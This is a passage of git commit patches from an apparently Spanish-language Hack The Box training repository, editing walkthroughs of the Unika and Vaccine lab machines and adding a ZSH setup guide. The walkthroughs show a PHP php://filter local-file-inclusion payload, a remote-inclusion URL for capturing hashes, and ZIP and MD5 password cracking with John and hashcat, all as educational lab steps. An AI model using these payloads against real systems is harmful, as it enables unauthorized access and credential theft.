http://unika.htb/?page=//[Ip de nuestra tun0]/somefile + http://unika.htb/?page=//[Ip de nuestra tun0]/somefile ![Captura de pantalla -2022-04-12 00-04-50](https://user-images.githubusercontent.com/103068924/162841324-0250adad-5f7f-49ed-b487-81740e71a37a.png) @@ -298,15 +267,15 @@ He revisado varias veces la configuración y por algún motivo Responder no me f # File Local Inlcusion PHP Así que tras ver que con Responder no podía, empece a buscar vulnerabilidades comunes de File Local Intrusion -y tras mucho investigar encontre una intrusión conocida como wrapper php//filter. +y tras mucho investigar encontre una intrusión conocida como wrapper `php//filter`. Donde básicamente mediante el buscador, incluimos una dirección que nos reporta el hash en base64. Tras probar las distintas obciones, está fue la que me funciono a mi: - page=php://filter/convert.base64-encode/resource=index.php + page=php://filter/convert.base64-encode/resource=index.php Aqui podeís encontrar más información y más vulnerabilidades de Local File Intrusion PHP: -https://book.hacktricks.xyz/pentesting-web/file-inclusion +[https://book.hacktricks.xyz/pentesting-web/file-inclusion](https://book.hacktricks.xyz/pentesting-web/file-inclusion) ![Captura de pantalla -2022-04-12 00-21-23](https://user-images.githubusercontent.com/103068924/162842965-294ea05b-12cf-4ec2-a433-38b95db263a9.png) @@ -314,7 +283,7 @@ Lo introduciomos en el buscador: ![Captura de pantalla -2022-04-12 00-26-52](https://user-images.githubusercontent.com/103068924/162843528-2e662ba0-3eac-4d45-9d45-baf37a28d250.png) - http://unika.htb/index.php?page=php://filter/convert.base64-encode/resource=index.php + http://unika.htb/index.php?page=php://filter/convert.base64-encode/resource=index.php Y al recargar la página podemos ver como se nos reporta un hash en base64. From a0951eb808ea98eb12bbba93ac6da865c04d125d Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 29 Apr 2022 17:27:44 +0200 Subject: [PATCH 0147/1701] Update HTB-Vaccine.md --- Starting Point/HTB-Vaccine.md | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/Starting Point/HTB-Vaccine.md b/Starting Point/HTB-Vaccine.md index 433a94505f6..48f90f50fa7 100644 --- a/Starting Point/HTB-Vaccine.md +++ b/Starting Point/HTB-Vaccine.md @@ -153,7 +153,7 @@ podemos ver como nos reporta que dentro del .zip contiene dos archivos (index.ph Como desconocemos la contraseña, vamos a utilizar la herramienta John the Ripper para tratar de descifrarla. En caso de no tener la herramienta instalada o queráis leer más sobre ella podréis encontrarlo en el siguiente enlace: -[John the Ripper](./john_the_ripper.html) +[John the Ripper](./Herramientas_y_Scripts/john_the_ripper.html) ### John the Ripper: @@ -247,7 +247,7 @@ Tenemos un hash, pero aún no sabemos en qué tipo de algoritmo está basado. Pa Hashid, la cual nos reportará el tipo de algoritmo más probable que se utilizó en su día para crear ese hash a partir de una contraseña. -Podéis encontrar más información aquí: [HashID](./HashId.html) +Podéis encontrar más información aquí: [HashID](./Herramientas_y_Scripts/HashId.html) Para instalar la herramienta: @@ -269,7 +269,7 @@ voy a mostraros otra herramienta que sirve para lo mismo, pero es un poco más p Está herramienta hace básicamente lo mismo que HashId, nos reporta el algoritmo del hash deseado, con la diferencia de que Hash-Identifier es algo más precisa a la hora de reportar los resusltados. -Podéis encontrar más información aquí: [Hash Identifier](./Hash-Identifier.html) +Podéis encontrar más información aquí: [Hash Identifier](./Herramientas_y_Scripts/Hash-Identifier.html) Para instalar: @@ -300,7 +300,7 @@ Para ello, vamos a ver dos formas de crakear un hash, en primer lugar utilizarem ### HashCat: -[HashCat](./HashCAt.html) es un descifrador de contraseña popular y eficaz. Mediante esta herramienta trataremos de descifrar el hash, en primer +[HashCat](./Herramientas_y_Scripts/HashCAt.html) es un descifrador de contraseña popular y eficaz. Mediante esta herramienta trataremos de descifrar el hash, en primer lugar, crearemos un arhivo llamado `hash2` donde guardamos el hash a descifrar. Para crear el archivo: @@ -313,7 +313,7 @@ En caso de no tener instalado HashCat: Ahora debemos asegurarnos que tenemos el diccionario `rockyou.txt` en el direcctorio `/usr/share/wordlists/`. Podemos descargarnos o copiar el diccionario `rockyou.txt` en el siguiente enlace: -https://www.kaggle.com/datasets/wjburns/common-password-list-rockyoutxt +[https://www.kaggle.com/datasets/wjburns/common-password-list-rockyoutxt](https://www.kaggle.com/datasets/wjburns/common-password-list-rockyoutxt) Bien, ya lo tenemos todo preparado para ejecutar HashCat, para ello, ejecutamos el siguiente comando: From 0a8f2d4f13f1ce5d5433c7fb1cd2cfbeaaeb406d Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 29 Apr 2022 17:30:37 +0200 Subject: [PATCH 0148/1701] Create HTB-Vaccine.md From d3e8e2b25ed0910d0b102d5ca6b46d2fed365e21 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 29 Apr 2022 17:37:41 +0200 Subject: [PATCH 0149/1701] Update HTB-Vaccine.md --- Starting Point/HTB-Vaccine.md | 62 +++++++++++++++++------------------ 1 file changed, 31 insertions(+), 31 deletions(-) diff --git a/Starting Point/HTB-Vaccine.md b/Starting Point/HTB-Vaccine.md index 48f90f50fa7..856e6e165d3 100644 --- a/Starting Point/HTB-Vaccine.md +++ b/Starting Point/HTB-Vaccine.md @@ -25,13 +25,13 @@ Ahora podemos escanear los puertos mediante nmap. nmap -p- --open -T5 -n -v [Ip Víctima] -oG allPorts -Esto nos guardará los puertos abiertos en el archivo 'allPorts' por si posteriormente queremos revisarlos -de manera rápida accediendo al archivo guardado en nuestro directorio mediante la herramienta 'extractPorts'. +Esto nos guardará los puertos abiertos en el archivo `allPorts` por si posteriormente queremos revisarlos +de manera rápida accediendo al archivo guardado en nuestro directorio mediante la herramienta `extractPorts`. ![Captura de pantalla -2022-04-26 08-27-45](https://user-images.githubusercontent.com/103068924/165235713-58183ec0-1a5a-47c7-bc14-280e3c01a3e5.png) Puedes encontrar la descripción y la herramienta extractPorts creada por S4vitar en mi repositorio: - [ExtractPorts](https://f1r0x.github.io/ExtractPorts.html) + [ExtractPorts](./Herramientas_y_Scripts/ExtractPorts.html) ![Captura de pantalla -2022-04-26 08-28-45](https://user-images.githubusercontent.com/103068924/165235873-224f1a07-302a-44f8-9a98-1ed1fe43b982.png) @@ -57,18 +57,18 @@ Ahora pasaremos a realizar un escaneo más exhaustivo utilizando una serie de sc ![Captura de pantalla -2022-04-26 08-33-37](https://user-images.githubusercontent.com/103068924/165236706-0e296151-667e-416a-aa1f-7ce1736086e7.png) -Este escaneo, al igual que el anterior, nos guardará los resultados en nuestro directorio en el archivo 'target'. -Para abrir este archivo podemos utilizar el comando 'cat'. +Este escaneo, al igual que el anterior, nos guardará los resultados en nuestro directorio en el archivo `target`. +Para abrir este archivo podemos utilizar el comando `cat`. ### Recopilación de los resultados: - Puerto 21/tcp: Algo interesante que podemos observar en el reporte de nmap es que el puerto 21/tcp permite el acceso mediante -el inicio de sesión Anonymous. Este inicio de sesión por defecto nos permite entrar con el usuario 'anonymous' +el inicio de sesión Anonymous. Este inicio de sesión por defecto nos permite entrar con el usuario `anonymous` y sin necesidad de utilizar contraseña. -También podemos observar que se encuentra un archivo disponible 'backup.zip'. +También podemos observar que se encuentra un archivo disponible `backup.zip`. - Puerto 22/tcp: @@ -86,16 +86,16 @@ hasta una página de registro: Tras probar los usuarios y contraseñas más comunes no conseguimos entrar, por tanto, seguiremos investigando. En primer luegar, vamos a tratar de acceder como el usuario 'anonymous' por el puerto 80 que utiliza un servicio FTP -y descargar el archivo 'backup.zip'. +y descargar el archivo `backup.zip`. -Para ello emplearemos el comando 'ftp' y especificando el usuario 'anonymous', luego nos pedirá una contraseña, +Para ello emplearemos el comando `ftp` y especificando el usuario `anonymous`, luego nos pedirá una contraseña, como este usuario no requiere de contraseñas, simplemente presionamos Enter. ftp [Ip Víctima] ![Captura de pantalla -2022-04-26 09-05-06](https://user-images.githubusercontent.com/103068924/165241789-d74af7bc-e2d4-447e-a14d-bb9ba38c8c62.png) -Ahora, mediante un 'ls' o un 'dir', vamos a tratar de ver que archivos encontramos: +Ahora, mediante un `ls` o un `dir`, vamos a tratar de ver que archivos encontramos: ![Captura de pantalla -2022-04-26 09-08-17](https://user-images.githubusercontent.com/103068924/165242129-6e01a7d9-8a34-4830-8d2d-fc048d9cb36b.png) @@ -106,12 +106,12 @@ utilizar PASV. Para ello, debemos activar el modo pasivo: ![Captura de pantalla -2022-04-26 09-32-35](https://user-images.githubusercontent.com/103068924/165246354-7861cf17-7af4-46c5-aebf-27b9f840e97f.png) -Tras activar el modo activo ya podremos utilizar el comando 'ls': +Tras activar el modo activo ya podremos utilizar el comando `ls`: ![Captura de pantalla -2022-04-26 09-33-33](https://user-images.githubusercontent.com/103068924/165246513-1911dca6-689c-44c5-8276-04b01aab9b4d.png) -Podemos ver que tenemos aquí el archvivo 'backup.zip'. Para tratar de descargarlo utilizaremos el comando 'get'. -Recordar que podeis ver todos los comandos disponibles dentro se la shell de ftp utilizando el comando 'help'. +Podemos ver que tenemos aquí el archvivo 'backup.zip'. Para tratar de descargarlo utilizaremos el comando `get`. +Recordar que podeis ver todos los comandos disponibles dentro se la shell de ftp utilizando el comando `help`. ![Captura de pantalla -2022-04-26 09-37-02](https://user-images.githubusercontent.com/103068924/165247149-0af2a731-576c-45dd-9485-49d4e640cb10.png) @@ -121,31 +121,31 @@ Para descargar el archivo.zip: ![Captura de pantalla -2022-04-26 09-39-21](https://user-images.githubusercontent.com/103068924/165247598-bf683380-5a76-4d0d-9859-c331c7d253f4.png) -Tener en cuenta que la shell está es muy inestable, en caso de error o de reportaros un 'Not Service' cerrar la shell -con el comando 'exit' y volver a iniciar la shell siguiendo todos los pasos de manera continua, ya que a los pocos +Tener en cuenta que la shell está es muy inestable, en caso de error o de reportaros un `Not Service` cerrar la shell +con el comando `exit` y volver a iniciar la shell siguiendo todos los pasos de manera continua, ya que a los pocos minutos, se desconecta. Una vez descargado el archivo.zip, cerramos la shell ftp y nos derigimos al directorio donde hemos descargado el -arhcivo 'backup.zip'. +arhcivo `backup.zip`. ![Captura de pantalla -2022-04-26 09-44-48](https://user-images.githubusercontent.com/103068924/165248630-8bfff5ae-d750-441f-bedd-064368a699b0.png) Como podeís ver, tenemos los dos archivos previamente creados con nmap (allPorts y target) y nuestro archivo .zip. -Vamos a crear un directorio mediante 'mkdir' llamado 'Backup' y vamos a introducir el archivo .zip para luego tratar +Vamos a crear un directorio mediante 'mkdir' llamado `Backup`y vamos a introducir el archivo .zip para luego tratar de descomprimirlo. mkdir Backup mv backup.zip ./Backup/ -Una vez dentro del nuevo directorio, aplicaremos el comando 'unzip' para tratar de descomprimirlo: +Una vez dentro del nuevo directorio, aplicaremos el comando `nzip`para tratar de descomprimirlo: unzip backup.zip ![Captura de pantalla -2022-04-26 09-52-39](https://user-images.githubusercontent.com/103068924/165250029-0c343ba8-29ae-446e-91e7-87b7b2160eff.png) -Al intentar descomprimir el archivo nos pide una contraseña, como desconozco la contraseña, presionado 'Enter' +Al intentar descomprimir el archivo nos pide una contraseña, como desconozco la contraseña, presionado `Enter` podemos ver como nos reporta que dentro del .zip contiene dos archivos (index.php y style.css): ![Captura de pantalla -2022-04-26 09-57-17](https://user-images.githubusercontent.com/103068924/165250925-0f1270d2-0200-426e-9f64-8c475f88bfde.png) @@ -161,31 +161,31 @@ Nos posicionamos en el directorio donde se encuentre el archivo backup.zip: ![Captura de pantalla -2022-04-26 11-34-30](https://user-images.githubusercontent.com/103068924/165270196-a2119a6d-fbf6-4446-abcc-8b80574b37ef.png) -En primer lugar, vamos a extraer el hash del archivo 'backup.zip', para ello utilizaremos el comando zip2john y -guardaremos los resultados en un archivo nuevo que llamaremos 'hash1': +En primer lugar, vamos a extraer el hash del archivo `backup.zip`, para ello utilizaremos el comando zip2john y +guardaremos los resultados en un archivo nuevo que llamaremos `hash1`: zip2john 'backup.zip' > hash1 ![Captura de pantalla -2022-04-26 11-35-49](https://user-images.githubusercontent.com/103068924/165270443-5ec033b6-43b8-4b81-97aa-a851d3fc2118.png) -Como podemos ver, se nos ha generado un nuevo archivo en nuestro directorio actual con el nombre de 'hash1'. +Como podemos ver, se nos ha generado un nuevo archivo en nuestro directorio actual con el nombre de `hash1`. ![Captura de pantalla -2022-04-26 11-38-15](https://user-images.githubusercontent.com/103068924/165270953-0592de7a-bf31-4e9b-b64c-3c65a8c3cd98.png) -Mediante 'cat' podemos ver su contenido, el hash extraído del archivo .zip. +Mediante `cat` podemos ver su contenido, el hash extraído del archivo .zip. cat hash1 ![Captura de pantalla -2022-04-26 11-39-08](https://user-images.githubusercontent.com/103068924/165271131-4fae266f-0d0e-4caa-87ec-3da52138de98.png) Perfecto, ya tenemos nuestro hash listo para explotarlo, ahora mediante la herramienta John, vamos a tratar de -descifrar el 'hash' mediante un diccionario de fuerza bruta llamado rockyou.txt. Rockyou.txt es un diccionario +descifrar el `hash` mediante un diccionario de fuerza bruta llamado `rockyou.txt`. Rockyou.txt es un diccionario con más de 14 millones de contraseñas, el cual se puede encontrar por internet en distintos repositorios. -Es aconsejable alojar el archivo rockyou.txt en la ruta '/usr/share/wordlists/'. +Es aconsejable alojar el archivo rockyou.txt en la ruta `/usr/share/wordlists/`. -Para ejecutar el ataque por diccionario con John, utilizaremos la variable '--wordlist' especificando la ruta del -diccionario, y luego, también especificamos el archivo que queremos tratar de descifrar, en nuestro caso 'hash1': +Para ejecutar el ataque por diccionario con John, utilizaremos la variable `--wordlist` especificando la ruta del +diccionario, y luego, también especificamos el archivo que queremos tratar de descifrar, en nuestro caso `hash1`: john --worlist=/usr/share/wordlists/rockyou.txt hash @@ -194,7 +194,7 @@ diccionario, y luego, también especificamos el archivo que queremos tratar de d Como podemos ver, la herramienta John enseguida nos reporta que ha procesado 1 contraseña y que no quedan más hashes que crackear. -Para poder ver la contraseña simplemente utilizamos John con la variable '--show' y especificar el archivo. +Para poder ver la contraseña simplemente utilizamos John con la variable `--show` y especificar el archivo. john --show hash1 @@ -216,14 +216,14 @@ Y podemos ver como ya tenemos los archivos index.php y style.css en nuestro dire Tras revisar el archivo index.php, podemos ver como es una copia del código fuente de la página de inicio de sesión anterior. Pero si nos fijamos, incluye unas líneas adicionales. Para ver el código fuente podemos abrir el archivo -index.php mediante 'cat' o dirigirnos a la url http://[Ip Víctima]/index.php (la página es visualmente es igual) y +`index.php` mediante `cat` o dirigirnos a la url `http://[Ip Víctima]/index.php` (la página es visualmente es igual) y con clic derecho sobre la página y 'ver código fuente'. cat index.php ![Captura de pantalla -2022-04-26 12-08-50](https://user-images.githubusercontent.com/103068924/165276973-60275a49-325c-4973-92d7-366a8dbb3faf.png) -El apartado que a nosotros nos interesa es el 'session_start', donde nos reporta un nombre de usuario 'admin' y un +El apartado que a nosotros nos interesa es el `session_start`, donde nos reporta un nombre de usuario `admin` y un hash de una contraseña. ![Captura de pantalla -2022-04-26 12-11-16](https://user-images.githubusercontent.com/103068924/165277394-c9f38ef0-efa2-4d65-8906-1b5d6a757b5c.png) @@ -319,7 +319,7 @@ Bien, ya lo tenemos todo preparado para ejecutar HashCat, para ello, ejecutamos hashcat -a 0 -m 0 'Número Hash' /usr/share/wordlists/rockyou.txt --a : Attack-mode. El 0 representa el modo 'Straight'. +-a : Attack-mode. El 0 representa el modo `Straight`. -m : Hash-type. El 0 representa MD5. Esto lo podemos ver con el comando `hashcat --help`. From b0ca474f3ad44ca1b5587a3b22af901ab19358a3 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 29 Apr 2022 17:42:16 +0200 Subject: [PATCH 0150/1701] Update HTB-Vaccine.md --- Starting Point/HTB-Vaccine.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Starting Point/HTB-Vaccine.md b/Starting Point/HTB-Vaccine.md index 856e6e165d3..b306639e954 100644 --- a/Starting Point/HTB-Vaccine.md +++ b/Starting Point/HTB-Vaccine.md @@ -31,7 +31,7 @@ de manera rápida accediendo al archivo guardado en nuestro directorio mediante ![Captura de pantalla -2022-04-26 08-27-45](https://user-images.githubusercontent.com/103068924/165235713-58183ec0-1a5a-47c7-bc14-280e3c01a3e5.png) Puedes encontrar la descripción y la herramienta extractPorts creada por S4vitar en mi repositorio: - [ExtractPorts](./Herramientas_y_Scripts/ExtractPorts.html) + [ExtractPorts](./Starting Point/ExtractPorts.html) ![Captura de pantalla -2022-04-26 08-28-45](https://user-images.githubusercontent.com/103068924/165235873-224f1a07-302a-44f8-9a98-1ed1fe43b982.png) From edc7209504d4cf09531f58b24c524c9b51e0422e Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 29 Apr 2022 17:44:57 +0200 Subject: [PATCH 0151/1701] Update HTB-Vaccine.md --- Starting Point/HTB-Vaccine.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Starting Point/HTB-Vaccine.md b/Starting Point/HTB-Vaccine.md index b306639e954..46deb00c8b4 100644 --- a/Starting Point/HTB-Vaccine.md +++ b/Starting Point/HTB-Vaccine.md @@ -31,7 +31,7 @@ de manera rápida accediendo al archivo guardado en nuestro directorio mediante ![Captura de pantalla -2022-04-26 08-27-45](https://user-images.githubusercontent.com/103068924/165235713-58183ec0-1a5a-47c7-bc14-280e3c01a3e5.png) Puedes encontrar la descripción y la herramienta extractPorts creada por S4vitar en mi repositorio: - [ExtractPorts](./Starting Point/ExtractPorts.html) + [ExtractPorts](./f1r0x.github.io/Herramientas_y_Scripts/ExtractPorts.md) ![Captura de pantalla -2022-04-26 08-28-45](https://user-images.githubusercontent.com/103068924/165235873-224f1a07-302a-44f8-9a98-1ed1fe43b982.png) From cf3ed072ab8760278b8fa60043ee10a5af0411fe Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 29 Apr 2022 17:45:27 +0200 Subject: [PATCH 0152/1701] Update HTB-Vaccine.md --- Starting Point/HTB-Vaccine.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Starting Point/HTB-Vaccine.md b/Starting Point/HTB-Vaccine.md index 46deb00c8b4..d0b54135ae6 100644 --- a/Starting Point/HTB-Vaccine.md +++ b/Starting Point/HTB-Vaccine.md @@ -31,7 +31,7 @@ de manera rápida accediendo al archivo guardado en nuestro directorio mediante ![Captura de pantalla -2022-04-26 08-27-45](https://user-images.githubusercontent.com/103068924/165235713-58183ec0-1a5a-47c7-bc14-280e3c01a3e5.png) Puedes encontrar la descripción y la herramienta extractPorts creada por S4vitar en mi repositorio: - [ExtractPorts](./f1r0x.github.io/Herramientas_y_Scripts/ExtractPorts.md) + [ExtractPorts](f1r0x.github.io/Herramientas_y_Scripts/ExtractPorts.md) ![Captura de pantalla -2022-04-26 08-28-45](https://user-images.githubusercontent.com/103068924/165235873-224f1a07-302a-44f8-9a98-1ed1fe43b982.png) From d2d3ebc5ca949caa65cd594fa148179e8cf78864 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 29 Apr 2022 17:46:48 +0200 Subject: [PATCH 0153/1701] Update HTB-Vaccine.md --- Starting Point/HTB-Vaccine.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Starting Point/HTB-Vaccine.md b/Starting Point/HTB-Vaccine.md index d0b54135ae6..a045460fda4 100644 --- a/Starting Point/HTB-Vaccine.md +++ b/Starting Point/HTB-Vaccine.md @@ -31,7 +31,7 @@ de manera rápida accediendo al archivo guardado en nuestro directorio mediante ![Captura de pantalla -2022-04-26 08-27-45](https://user-images.githubusercontent.com/103068924/165235713-58183ec0-1a5a-47c7-bc14-280e3c01a3e5.png) Puedes encontrar la descripción y la herramienta extractPorts creada por S4vitar en mi repositorio: - [ExtractPorts](f1r0x.github.io/Herramientas_y_Scripts/ExtractPorts.md) + [ExtractPorts](../Herramientas_y_Scripts/ExtractPorts.md) ![Captura de pantalla -2022-04-26 08-28-45](https://user-images.githubusercontent.com/103068924/165235873-224f1a07-302a-44f8-9a98-1ed1fe43b982.png) From 7b3b5b35baa356c6f6af2cd39964f55235f4fe1c Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 29 Apr 2022 17:49:45 +0200 Subject: [PATCH 0154/1701] Update HTB-Vaccine.md --- Starting Point/HTB-Vaccine.md | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/Starting Point/HTB-Vaccine.md b/Starting Point/HTB-Vaccine.md index a045460fda4..3f801fe4edd 100644 --- a/Starting Point/HTB-Vaccine.md +++ b/Starting Point/HTB-Vaccine.md @@ -153,7 +153,7 @@ podemos ver como nos reporta que dentro del .zip contiene dos archivos (index.ph Como desconocemos la contraseña, vamos a utilizar la herramienta John the Ripper para tratar de descifrarla. En caso de no tener la herramienta instalada o queráis leer más sobre ella podréis encontrarlo en el siguiente enlace: -[John the Ripper](./Herramientas_y_Scripts/john_the_ripper.html) +[John the Ripper](../Herramientas_y_Scripts/john_the_ripper.html) ### John the Ripper: @@ -247,7 +247,7 @@ Tenemos un hash, pero aún no sabemos en qué tipo de algoritmo está basado. Pa Hashid, la cual nos reportará el tipo de algoritmo más probable que se utilizó en su día para crear ese hash a partir de una contraseña. -Podéis encontrar más información aquí: [HashID](./Herramientas_y_Scripts/HashId.html) +Podéis encontrar más información aquí: [HashID](../Herramientas_y_Scripts/HashId.html) Para instalar la herramienta: @@ -269,7 +269,7 @@ voy a mostraros otra herramienta que sirve para lo mismo, pero es un poco más p Está herramienta hace básicamente lo mismo que HashId, nos reporta el algoritmo del hash deseado, con la diferencia de que Hash-Identifier es algo más precisa a la hora de reportar los resusltados. -Podéis encontrar más información aquí: [Hash Identifier](./Herramientas_y_Scripts/Hash-Identifier.html) +Podéis encontrar más información aquí: [Hash Identifier](../Herramientas_y_Scripts/Hash-Identifier.html) Para instalar: @@ -300,7 +300,7 @@ Para ello, vamos a ver dos formas de crakear un hash, en primer lugar utilizarem ### HashCat: -[HashCat](./Herramientas_y_Scripts/HashCAt.html) es un descifrador de contraseña popular y eficaz. Mediante esta herramienta trataremos de descifrar el hash, en primer +[HashCat](../Herramientas_y_Scripts/HashCAt.html) es un descifrador de contraseña popular y eficaz. Mediante esta herramienta trataremos de descifrar el hash, en primer lugar, crearemos un arhivo llamado `hash2` donde guardamos el hash a descifrar. Para crear el archivo: From 06009275d418f84e9d86768c1ba9756488153161 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 29 Apr 2022 17:55:38 +0200 Subject: [PATCH 0155/1701] Update HTB-Vaccine.md --- Starting Point/HTB-Vaccine.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Starting Point/HTB-Vaccine.md b/Starting Point/HTB-Vaccine.md index 3f801fe4edd..1b32a5a88c2 100644 --- a/Starting Point/HTB-Vaccine.md +++ b/Starting Point/HTB-Vaccine.md @@ -300,7 +300,7 @@ Para ello, vamos a ver dos formas de crakear un hash, en primer lugar utilizarem ### HashCat: -[HashCat](../Herramientas_y_Scripts/HashCAt.html) es un descifrador de contraseña popular y eficaz. Mediante esta herramienta trataremos de descifrar el hash, en primer +[HashCat](../Herramientas_y_Scripts/HashCat.html) es un descifrador de contraseña popular y eficaz. Mediante esta herramienta trataremos de descifrar el hash, en primer lugar, crearemos un arhivo llamado `hash2` donde guardamos el hash a descifrar. Para crear el archivo: From c81eadccb087f2cb906cd8d4d89add6506830c46 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 29 Apr 2022 18:38:17 +0200 Subject: [PATCH 0156/1701] Create ZSH.md --- "Linux/Introducci\303\263n_a_Linux/ZSH.md" | 60 ++++++++++++++++++++++ 1 file changed, 60 insertions(+) create mode 100644 "Linux/Introducci\303\263n_a_Linux/ZSH.md" diff --git "a/Linux/Introducci\303\263n_a_Linux/ZSH.md" "b/Linux/Introducci\303\263n_a_Linux/ZSH.md" new file mode 100644 index 00000000000..e0a740b1679 --- /dev/null +++ "b/Linux/Introducci\303\263n_a_Linux/ZSH.md" @@ -0,0 +1,60 @@ +# ZSH + +ZSH es un poderoso interprete de comandos para sistemas Unix. Construido sobre el popular shell bash. Es, gratuito, de código abierto y se +actualiza periodicamente. + +Ventas: + +1. Altamente personalizable. +2. Proporciona herramientas interactivas. +3. Utiliza el lenguaje de comandos bash. +4. Admite marcos adicionales como oh-my-zsh. +5. Más fácil y con gran comunidad. + +## Instalación: +Para poder instalarlo en una distribución Debian (ParrotOS o Kali) primero actualizamos el sistema: + + sudo apt-get update + +Luego iniciamos la instalación: + + sudo apt-get install zsh -y + +## Ejecutar ZSH como shell predeterminada: +Para ejecutar ZSH de forma automatica cada vez que iniciemos sesión y establecerla podemos hacerlo de dos maneras. +La primera es ejecutando el siguiente comando: + + chsh -s $(wich zsh) + +Una vez hecho esto, reiniciamos el sistema y comprobamos que funcione. En caso de no funcionar, tendremos que hacerlo de forma manual. +Para ello abrimos el archivo `.bashrc` con el siguiente comando: + + sudo nano ~/.bashrc + +Una vez abierto el arhcivo `.bashrc` escribiremos 'exec zsh` en la parte superior del archivo. De esta manera se ejecutará el comando `zsh` +cada vez que se cargue la terminal. + +**Nota**: Se debe de terner mucho cuidado al realizar esta instalación y no realizarlo durante otros procesos ya que al realizar estos cambios +puede que se interrumpan todos los trabajos interactivos. + +## Versión: +Para asegurarnos que tenemos la ZSH instalada podemos comprobarlo y ver la versión exacta mediante el comando: + + zsh --version + +## Configuración de la ZSH: + +ZSH tiene cinco archivos de configuración principales. Esos archivos son: `.zshenv`, `.zprofile`, `.zshrc`, `.zlogin` y `.zlogout`. + +La ZSH funciona leyendo el archivo `.zshenv` a menos que se especifique el argumento `-f` al iniciar la sesión del shell. + +`.zshenv` : Solo debe contener las variables de entorno del usuario. No debe contener comandos que adjunten sescuencias de entrada/salida estandar (TTY). + +`.zprofile` : Contiene comando ejecutados en el inicio de sesión del shell. Solo debe usarse para ejecutar comandos externos. + +`.zshrc` : Contiene las configuraciones y los comandos del shell. Se obtiene en shells interactivos y contien alias, enlaces de taclas, variables y funciones. + +`.zlogin` : Este archivo es similar a .zprofile. No debe contener ningún comando que altere el entorno. + +`.zlogout` : Se lee cuando se cierra la sesión de la shell. Puede usarse para configurar los comandos que se ejecutan cuando se cierra el shell. + From 735824d9a3a73a0cdbc998e1cbbdb7cc7f77d086 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 29 Apr 2022 18:42:14 +0200 Subject: [PATCH 0157/1701] Update index.md --- index.md | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/index.md b/index.md index d3d2ab9b649..f1c9902b0a8 100644 --- a/index.md +++ b/index.md @@ -11,6 +11,8 @@ --- # Artículos +[Linux](./Linux/Linux.html) + [Fase de Reconocimiento - HTB](./Artículos/Fase_de_reconocimiento-HTB.html) [¿Como conectarse a Htb?](./Artículos/Como_conectarse_a_HTB.html) @@ -53,6 +55,10 @@ Escaneo de vulnerabilidades en páginas WordPress. ## SQL: [SQLmap](./Herramientas_y_Scripts/SQLmap.html) +--- + + + From 5c47fcb448dd0e562902d036d4efee56a902e064 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 29 Apr 2022 18:45:32 +0200 Subject: [PATCH 0158/1701] Create Linux.md --- Linux/Linux.md | 7 +++++++ 1 file changed, 7 insertions(+) create mode 100644 Linux/Linux.md diff --git a/Linux/Linux.md b/Linux/Linux.md new file mode 100644 index 00000000000..7aa69ce7dac --- /dev/null +++ b/Linux/Linux.md @@ -0,0 +1,7 @@ +# Linux + +Gran variedad de artículos basdos en el ecosistema Linux. + +## Gestor de Comandos: + +[ZSH](./ZSH) From 34d1f1071f2ed62ee4e14e2ed0008d01d053c0d0 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 29 Apr 2022 18:50:18 +0200 Subject: [PATCH 0159/1701] Update Linux.md --- Linux/Linux.md | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/Linux/Linux.md b/Linux/Linux.md index 7aa69ce7dac..3b870834bb5 100644 --- a/Linux/Linux.md +++ b/Linux/Linux.md @@ -2,6 +2,11 @@ Gran variedad de artículos basdos en el ecosistema Linux. +## Programas de Descargas: +### Torrent: + +[Aria2](./Programas_para_Linux/Aria2.html) + ## Gestor de Comandos: -[ZSH](./ZSH) +[ZSH](./ZSH.html) From 5583fa96f610123c30c2a56c135a30402b9dc710 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 29 Apr 2022 18:52:25 +0200 Subject: [PATCH 0160/1701] Update Linux.md --- Linux/Linux.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Linux/Linux.md b/Linux/Linux.md index 3b870834bb5..749c61e8ded 100644 --- a/Linux/Linux.md +++ b/Linux/Linux.md @@ -5,8 +5,8 @@ Gran variedad de artículos basdos en el ecosistema Linux. ## Programas de Descargas: ### Torrent: -[Aria2](./Programas_para_Linux/Aria2.html) +[Aria2](../Linux/Programas_para_Linux/Aria2.html) ## Gestor de Comandos: -[ZSH](./ZSH.html) +[ZSH](../Linux/ZSH.html) From b73b5359fbe051975551c87ebd57c8826c65c07a Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 29 Apr 2022 18:55:29 +0200 Subject: [PATCH 0161/1701] Update Linux.md --- Linux/Linux.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git 